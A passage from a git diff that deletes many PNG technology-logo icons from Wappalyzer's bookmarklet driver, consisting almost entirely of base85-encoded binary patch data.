zPolQD-hcgEVz4L{Y#>noXMg1fN@UhqkRGUQB?zEUPrctVwJLed(WX{#T{j9q83-=Q zGCSCY7$$3Q%Un7(Z#d)D`VT z_lH^&A!oT;|09j2g7+r6W4=-W=IP{-O{yP4lr6FZ`G=kn&3{vhrh}~g)18zj9O;QS z`fvY#1LO(4CuIs8Rsg+m60tm~;9!bpE)>K{N!Iut>Z(@qzjM*O{7XDd7B0VLnCIA) zjbXkA45%LBWouCTLJe+cqKG*j&3X=c5j)T_)__bko3;D{hCI@vL`)2l+4IjPzf|x= zIYU$93}~>jSkBA7eZNtm0JuuQJFo{T1kW`kM2S=CK#c$jQ_Cy=Bno2R@U~`;A92EYG;0xJc_P&F@6nM$s(`q_F1XA!JeBMH*cQwb zmz%WV)Y%L7@8mHN2w}|eqOWjetXax|hR@(4gjNB>hpU+FZ(+atDtLS=TmVXNw%Os{ z!`gYCxb4rH+ihB6He34o2Q*@i%K@xJe5GqqTY^L*YKIZwrX-JT0Y&f`;oh!u>nFJr zb?(GRz@)$CLj|{36UD36lWFmLx30}EuGA9nfC05t5$EzfiH`(Z?P^=*wK|8k5ptGM zEg8X+2I||)(A6pd=^f>lL>&E`N}GDx_}W&z;c8b`)Ycq>}g7yx}tD84%{Ib3=914y3E*gI#5*g_H`gZz4zvXeVZbP`gMW8WR^+ywt zqj-EUeCrH#CYvmKo3zdFrp-8JSh;D_-%86XeLnB_FS`fbVtBc&sj=O|J5%>AV>C#OUIuqv4 zv|XymO>H#2)0*_6Q$N33Kf5O>!I?C#UBCE*{?&?YZ)APGKJlM_PcmD-C_C8G-8~wa z?==v;hKAi(Q)@?Yd9`DAPNpq0!{0Y&z_>Pnueq2+dGDb?u0|kL^^a2^I^zy z98M5!58@heyGBM31o0C%8)9Th97FIQU|^zSqc><{q7DB8w?)V}^j1AR00000NkvXX Hu0mjf*y_{b diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WebPublisher.png b/Wappalyzer/drivers/bookmarklet/images/icons/WebPublisher.png deleted file mode 100644 index e0310cab824a9a08586d40983ce6b440616fdb8b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 340 zcmV-a0jvIrP)L+}Pl(I_MyL8H+~>?EU6h*CnM5K-z#RzxXg_hi>* zvJ-Y^|4wqg>-rs(=f&F->AEhC<6#(3UDxl=rSJQys{R2Wm)FY=P!xq>7-^dBfhdaZ zpe##{;}Alss_p^L^H#7d%lUjppSfPIdqCIq6=Ye4<2XzUf-p_f=JYs@r_*T#aP_a_ zP1D>vK1mXaqE?_N3QV&s+ceD{&@_!8h!t3t1puDmr7v5NB#9)+;&{LS0000}^ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Webix.png b/Wappalyzer/drivers/bookmarklet/images/icons/Webix.png deleted file mode 100644 index a2c9014a14d6b0829b04f375d38c07a1b208d1ae..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1926 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 P00000NkvXXu0mjfb8)Af diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Websale.png b/Wappalyzer/drivers/bookmarklet/images/icons/Websale.png deleted file mode 100644 index 6d67ddc989b4ab9a14822896df4d604df832aeff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 531 zcmV+u0_^>XP)A#ooo^o8rZz@f?xb^@M(eODWre5YK%k_05;r1BpiP}*W3U_>~R4RAIGj)84+1WtbePZZ}% z03v9_W?#W=p>6IvBS(zO*Xmmgye zy`!i1GXSm~W~{ix*yIZ3^3wJ{{MG~%1my~a!SOrff_dmlIGAvE6NV)eAsZpnGSEc# zL98^b2Tp7Yyww)WOW$Bh@Vm=g!RWzEFw%dK=96DxTF~reD!s~xlSFfF60Ssl&IiEm zdjeC^Ol5sBPZuexPp9bU9IwI!Q4D>&p1@R!ysk3<0BGRV?m2w8)6WedJ^u-JaE)YX zlT(k9ppL<`kec71F!~m)ybrfRqC(!n^Ve_4) zc$}=x)kTB*3lNOgAJZ``ow)}F)q97cgnt{TKPK^)DDPbwR1`c@jRH^GV!Qc2s2}() Vai0Y1K5+m5002ovPDHLkV1jnY?Y{s3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WebsiteBaker.png b/Wappalyzer/drivers/bookmarklet/images/icons/WebsiteBaker.png deleted file mode 100644 index 43ec16cb54c49e660c0978e3695996c3a4c945cf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 603 zcmV-h0;K(kP)wmbD_zUD3t7YID#UfnAvq;3_N`KamU24x;&bkIFeGLIL!ZU zK?=D9eF?%HB?uBC(f}lY2d_TtGPV2bM^iJC6N!kR%YmsP0uV$5?uA^G;z1AqC_wJZ zc}s(tj1d7Q!XPPCWk`T~A;R$hkHFn={|6YR%Il`5>kB1749sAV1l4hZl)fVlU)!Ik|_gIM3n#na1XjZ z)3o_N0QWenQNGu8N0);j5DCnbq{31Y+=I3+)GGntn+d18wxRAaixmY^MgLxdafQ4Z zAc(6H<@LfsL)$|js42QsV;LbJ9Dx4;AXNQ$-PFw2J?>ztBr}rPVj2+;Kmb?;0Njnz z-}?D$0kOo?Xc9GDid_hZWQK@T0105_RLM@ZZFA__&3pRj**iXc`9X0fnX+LtymRdE z{uA4_tpB|x0K7YM>Bhy`r|(Z~+PaDDn@4OI4N%efy6ztXua_6s0+^k9dtu%5^w;gv p8+UJ>N~tpa(r2HGl zXdnaDL!vIuk+1;}o1Ot(kpmUG0u*})_CFC(_7EIR_VG`_wj&Jq3#3bkNF?!}fHpq> jYRE)0^f%BzW_(%!)YNn+U)yhj00000NkvXXu0mjfa~Xs6 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Webtrends.png b/Wappalyzer/drivers/bookmarklet/images/icons/Webtrends.png deleted file mode 100644 index 9de450f49611ef47a3bb21d44befc3ba3e905c66..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 849 zcmV-X1FrmuP)u#R-u5PFB z*yKCD5N;&!@gR^DO;*%{vVvbt*L_TlV6Py9pbSV>q_SF8H9X#Mhe&>_+xv>9%ZDgD z!8iVHyMf@Elb&4W<^sEtqT#(%Uc}>F4+H4DnSSUEPWkx4feZ*iSXOwT7wru3z4w}V zvczpf_JATV$G07zgAV2oO}^p`=Bu|9L}_S-YHF8fBZ>eK>FoM0iM+o*J2gkvmS z=(YY`MV)4vj%RTT%pHg{5!`*li*gzDVTHocb1*$v{i3bI@gBqUoa1Nkv1*_47-18mA;VnE6Y%4qdR) z$!rPS@l3JX^3OpdslBBHBmoC!AXTpQrN~B{rT#ICI?|xnk2|2=X%gvdpZQG0)ZQCzOeKzJqs{$j+CNe0fqU!g(MoovE z6f}yW*}q0+0&y}5uT~5d49>9m14I6p2GhxR(Q|)@DALcT;pX`fhx~J*1RameQOFMj zTq4tDMty>K4WW$9Z?&-OuuO0T>JUwr`fW@+D}s;PE21FCkB%AnA)#>(6HevPEndih z?4$&wvQ#upM*rnU4*Ed`lkaPydhsbDR|o!cFhSz5uEknj*LPf-L^f4LsgNKPOrQ~0 z5ZeZU6BJ}OU2Mw)SV6m)66q)Ia(z$KA&5PdFA*(Cva%J=cA8K1!C9aL$p}!zvK*an zkl@oLhU6#8%ETgn$}ifeJLqQxKbxEn>@>yLYh{+GIG|-ZIpAPSr~YJ`4y`4q{jZ`; baJKdf>Ldj=K7iUp00000NkvXXu0mjf#UF}C diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Weebly.png b/Wappalyzer/drivers/bookmarklet/images/icons/Weebly.png deleted file mode 100644 index 5713427aff622b16fedbc9d5676eae9d3c2d44cd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 350 zcmV-k0iphhP)FDU_=;-b2?C$RF@bB;J>+9&}=j!R{?d|RH@bL2S z@$>TX_VxAo`T6|({QLFp{_^Ag>(>3=y8PFy{Lr5J%8~oSgZjL6`L9{|s7v^vKKPq3 z_mm=p)`!gi000woQchC<5Fjv6U~qtsudlz)&(GiA-|xCcIx+wN0E?5o)qUG^j^mp3TyL9V5{Yp}Azor6 zs-0~KOHj~kf!3uum?)?i_{*BlU<1I6=`Q2#NTPR=&|X7$I|O8hy;i=`QPvRFawPuo0l%m_Pq1gQ>Hq)$07*qoM6N<$g5hMmZ2$lO diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WikkaWiki.png b/Wappalyzer/drivers/bookmarklet/images/icons/WikkaWiki.png deleted file mode 100644 index 85d02179b49a1aeedbaf7c6ee3ce0810ba58eeff..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 667 zcmV;M0%ZM(P)c?$rz#h6Ok=CHTH{lh~f{?VLg9=LjGpH z5!b~I0^b^OkWqXIiL=KxVTb6jp3TFb&9vUc>v1DW0O`TS(o5*j)&c%^(k^m3`LDJ3vOA8?u13}9M;^(xKtmr9} z0kXu1Mhx6HRZyGdhe}p(S9+0lSH%%F5;IORjN?ojN%9np^l|1_51Q3Zp1ssiRU6BB zKO0hg@u+*4$XPa$_c+Nb_D)|z*_BLYdlivlB6F>S5=#rsraYS3PIB3(qW;SbG;Br$ zYk9{WX96<7J4S?Hc}}|M$dNY6q>mDLLcZup{SALc4R#P*?t1_L002ovPDHLkV1mzi BGROb` diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Windows CE.png b/Wappalyzer/drivers/bookmarklet/images/icons/Windows CE.png deleted file mode 100644 index deabbd57e1a0326e7d727a418234c187ad767bb0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 157 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE1|*BCs=ffJ6i*k&kcwMx&u!#va1e00xbkS% zn-gg{PS!@BCfM?rMTqL%I&;yX!0ykV#MiqO%D1#hI_3#DFfg(RI5g-p%&GBbP}d8P zxV|9&XiGvp(+6<|wFU+z4uu2n8NV_~RC+S(uC$Hk+tReI@~?T@JD`0Gp00i_>zopr E03(4lGynhq diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Windows Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Windows Server.png deleted file mode 100644 index deabbd57e1a0326e7d727a418234c187ad767bb0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 157 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE1|*BCs=ffJ6i*k&kcwMx&u!#va1e00xbkS% zn-gg{PS!@BCfM?rMTqL%I&;yX!0ykV#MiqO%D1#hI_3#DFfg(RI5g-p%&GBbP}d8P zxV|9&XiGvp(+6<|wFU+z4uu2n8NV_~RC+S(uC$Hk+tReI@~?T@JD`0Gp00i_>zopr E03(4lGynhq diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Wink.png b/Wappalyzer/drivers/bookmarklet/images/icons/Wink.png deleted file mode 100644 index 3e7204032da80b5f8feebe0d8ef3275371cd4795..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 436 zcmV;l0ZaagP)L_|c*(b3VEBwd1%l5zzF1=Zc%-G`=5oqD{zy?qH$8aX&PdXxUL{b>2`HtGS0hlNSZHW?-IgtzpZ;G^`2T-zz<)P4mja*^GhU5A|M5mgM`ul$ zGWk|wTIT=0rt1Iy6L|msud?{>;}@8UQzO5eoS=(;NMcKS*V)qYivMB~lK*+-)c#+X z1hn0c;s3{p$-mVMO*~OF$;im)8XFtC)i>6+ZJgY8<_|F8_aFXYCoF7I72ftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Wix.png b/Wappalyzer/drivers/bookmarklet/images/icons/Wix.png deleted file mode 100644 index 4662773d27ab7c35fbfbca1d5d0120d225ded133..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 587 zcmV-R0<`^!P)alQU;zTrQ_xdS0rhTVWH2NOU#gOzZFhIOcTHV0L#7m# zv*B9KM%kpf&Hi3s*=&(+b91`8?e51;ehwpbj&PNA^(PG0+D;g|N@SwkT z+YnR(Wik{H`@!b53%dF9`$-$mqno)s~Yk1CF9uD zC$4Kq_aSrR&cs6nQzYU+CaBpl_#5$lHx`sX+=plEr}O^S$)Pi)ITb=Xu%L{*YTv~~ zhzAi5GJ}}n1N$j_Y(TKN65J#C_ldsNf`2apjR%R%!lUP(k z=zyTcmtzn*u+)W|(;kcwQw^Y&mkI5rkZ<-Pmd+#EgVZ>r2!QcVS(PzE-0y%Hq{Ypr zBM>K0$)j35&Isu$HCb)qaEJ@1;sIHg-pI&9Vr{*}82^)lRFcg3C5Os{phl5Lg^GHvE|(3;bEE-Z{!<(whql0|@V}QH2Zx&=Eqifi{c>~Y^j~+hw zj}83$`*-=``QDCJ2n}nNFZoXhT)lJ=p&`WE<;mkm1ofbJx~3$bGz~y>|K1(aG~Bp$ hl{5_x?%l<&0RV`MrM+SO6|VpQ002ovPDHLkV1lpJWYz!x diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WooCommerce.png b/Wappalyzer/drivers/bookmarklet/images/icons/WooCommerce.png deleted file mode 100644 index 9772015ace2ab7827602cba5a689bd8f3eb9928f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 940 zcmV;d15^BoP)C;XbFQP#j?E8%KH+Y~FtsZot`#SO4oc z$D+u)CAaVTmSL5oIbiaV9dJWFeEj@h z!!{H}e#VO3D89UY>mJaNabUS8FW#a!OwB5g^juKdy#&Pq3y&DMoNIC`N*V!yzkmPz zH*k&whYT{PY?%Oe7)cHYDdDdSUHw!8z&jA;%BXYu)T?fHA0p0iSKYoI< zZ{E58fAaiwaQ>UO@4*QWUm1ee0jqbMfE)Jk@w5L%9*IB;zre*FJbL=Swqr7igN~oM z1ZQ8le*3?Qxi8)V3$FuOXRb#veCoWF7zxbEC*l9UfB&#X$?k*4|Et>slkb4&(kUng z{`vbC&VKRg&3|=EA8-OYbLB2p2P|H_`M;J!B>4^i6|Wz0B)B$U@vLg$_uo3I?tfMP z3an~CMX;_*Joyd);iKnnVi*i6m~`v{;l;CEY~%lDFW+LQYwDSSvj`^I0h5qQL>QPj zYsr5VGaq2;u7#_spS&7FU1>w_e?zZy${Y}0G!eznx9>iHeXsAHf)QQkuH3;00VAJm z${YZ~w;w)-8=7C;0nS>;zK7wk!U_LBe)@uvODGNj5U%K5_W%2jpZ_P%UJ5Q)jD2%( zs!ge$_W$MUx8Pi2=^2f;7=}53s75KMss*)b^xcyQss$Cjpd13imeBeGS8r)hG|Te_ z&;fZM2e3oCN%Xe-BDiZdK%LVI@Xje(_dFknPXqB68d&-TYIZ(y_Z$FQ*paZ2=u`Xv O0000NM#Ka#& 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/WordPress.png b/Wappalyzer/drivers/bookmarklet/images/icons/WordPress.png deleted file mode 100644 index f23c8c2105789ac36bd655c6cce9e4068e132bb8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2153 zcmV-v2$uJWP)5FQFdG95*sL}IY~lnjfMXZqfGLZE*^G^i+4lhk%-3@+Fy=wr#8Iwv_1?SpyXQOi zZ1+AdudmwPEdJIuoo(MXo%NJ=n5BW9x4m`NW$xmAb?g*l80+;-wQV}bkG;dJ<{ja- z>D>wW9Z6LUwcW#$&BIf!(Uldrx$`@Z@f>3q%WHV;*Czhik<{;bhg%YTBJAUDJ1<{f za4+?P+6wiVc{lDp9z)B6VbQyXCd3%eabqm6;k7J-WqplZTN?JBD84g2zt{@^gOjsJ zy>uJFMkoBj&G6G@K^C4Vy1y<{jPV>}1}Eo)BD|Jmth(nbT4S5eqVfs14kUbdqYeOO z7TkE}%vJajfsBbGt?-SsA%Qa~uevV0<}gDm??ch11_rmjx_ zfXy2a8UR!@cf+4{5)f`8fj0P(VD5fVcKDMr+&%A+tM9&Si8Tx>P;j*o8ym}J z4(8gT00+x!DJ7q+?_74|eP|9Ihw^YL_dTV&8lIZNyxWb5Sro!VXJAxZ%>|qBHE7My;lNj&24lIj!1ATq_pGmEhL`1hJYxmz^cPDX#La|D#2XL zx#s(f?{5#c%yRB-Hre3#6oPeW2#6*>$K*j4lY_uWGyZKY-y&4+ya07XCgevc2xD@g zBt>-2>Mgh_*Mg`MT&$SeYkQb&e`r!+6Hi`j>DjWg*W<0E0Hv5dAHJ~#f*?53glX5j z1Y6(UBNUJkIpg@r-)#?uB)D^*b%`f)GPf6(%#51m8sb7ooD)k+%aR4@Ro4+nyYY+7 z$4)~b{OK7OWkGpEn*=vaJKIHpCnqcU8qN^DKq&rJW|;){rl|tV#hlFT<*l>a=o_AF zotRsIl7gqcqgS$^_5L8#kz`uE6TZeG_!-ZN+VIzm(yhL=oQLu#r6wz2EQCUz3vGl6 zBU3YCo&!82#t!CUPUhwS944QPv<-|xMgBePsFVnGFE3-Sf!sjC{Njq?8&?83Ss^Ie zjNu7skX77jr!25QW+)I?IXyLGt>*3rV!q?y6KE+oTL(rs4n~-pEMQ$E&D__!1_XF_ zv`M7j#+F=C1652m{NoDY8(#{!@eG1vZ0LS4Ai+JR)C`WufFhR8i?||z(@Hs4L5Up6sW&902P@}OFMAZHc156wf70-SfF2giFoe+pct;Xxh-z^%jvTS z)aO7($}%oA&Vi}vX(~!9*c)eqHp;w7fi)MjJ{*CP7OH8de>`2Z#SMG(W+)9#$m5H| zGrdw&Y_w2}Y;5+LThP!(0*nQO%g5g+R+gx!)wcB_I4X-QY2WOEXF({}=Rp;lhoGZY z+@%V)vAvs92{kFGq+RWzY`NRpk2dn@-%ZkBy!&{R%xr?nkOy^aF3cBd#kem2Ba&+q zfw?INt!C5ZmQOe}N1V zrhemC4uWW>yC_cX-G2zzq8ob*+0g2hCU zks;rfU*3h zv=DJQ}OSQ2+UT?9$r=?)RyM65RF9 z0lX5HisNUi#P!2nDw8lKVoqa(fxS;M1_Mgnf z?CcD}&(=UgmQu$TAee-=_CN99hyeSHW;C{TkiX{2QlPy;ew*1)^B>c_(0uMAERkz|O)d&dEQT_<3>s1*w&a>b+4G+^V{Ck!j__uL 